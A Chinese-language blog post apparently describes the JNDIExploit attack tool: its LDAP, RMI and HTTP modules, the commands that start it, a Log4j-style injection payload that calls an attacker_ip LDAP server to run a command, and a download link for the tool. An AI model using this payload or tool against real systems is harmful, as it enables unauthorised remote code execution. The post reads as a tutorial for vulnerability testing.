JNDIExploit 工具详解
0x01 JNDIExploit 是什么
JNDIExploit 是一款用于 JNDI 注入漏洞利用与验证 的 Java 攻击辅助工具,常见版本如 JNDIExploit-1.x-SNAPSHOT-all.jar。该工具通过快速搭建 LDAP / RMI / HTTP 等恶意 JNDI 服务,在目标应用触发 JNDI Lookup 时向其返回可控引用,从而实现 远程类加载、反序列化执行或命令执行。
0x02 JDNIExploit 解决的核心问题
在不深入理解 JNDI 底层实现的情况下,快速完成 JNDI 注入漏洞的利用验证。具体体现在:
1.JNDI 服务搭建成本高:手动配置 LDAP、RMI、HTTP 服务复杂。
2.漏洞复现效率低:需要反复调整返回内容和协议细节。
3.攻击链整合困难:JNDI、反序列化、命令执行工具割裂。
4.新手门槛高:JNDI 协议细节难以快速掌握。
0x03 JNDIExploit 整体架构
可以概括为"多协议统一入口 + 利用方式参数化"
1.内置多种 JNDI 服务实现(LDAP / RMI / HTTP)。
2.统一启动入口,通过参数控制利用方式。
3.返回内容高度可控,支持命令执行、类加载、反序列化。
4.与 ysoserial 解耦但可联动,可直接承载序列化 payload。
在攻击链中,JNDIExploit 承担的是:JNDI Lookup 的响应者 + 利用载荷的分发者。
0x04 JNDIExploit 的主要模块
LDAP 服务模块
- 用途:最常见的 JNDI 注入触发协议
- 功能:返回恶意 Reference 或序列化对象
- 典型漏洞:Log4j2、Spring JNDI 注入
RMI 服务模块
- 用途:传统 JNDI 攻击方式
- 功能:远程对象绑定与反序列化触发
- 适用场景:旧版 JDK / 未限制 RMI 的环境
HTTP 代码托管模块
- 用途:远程类加载
- 功能:提供 .class 文件下载
- 前提:目标 JDK 允许远程 codebase
命令执行载荷模块
- 功能:直接返回触发 Runtime.exec 的对象
- 特点:不依赖外部 ysoserial 即可执行
0x05 JNDIExploit 全模块命令
//启动 JNDIExploit 服务
java -jar JNDIExploit-1.2-SNAPSHOT-all.jar
//指定端口与利用方式
java -jar JNDIExploit-1.2-SNAPSHOT-all.jar -i 0.0.0.0 -p 1389
//典型 JNDI 注入 payload
${jndi:ldap://attacker_ip:1389/Basic/Command/whoami}
0x06 工具下载
链接:https://pan.quark.cn/s/a6f286514469
提取码:hxdM

浙公网安备 33010602011771号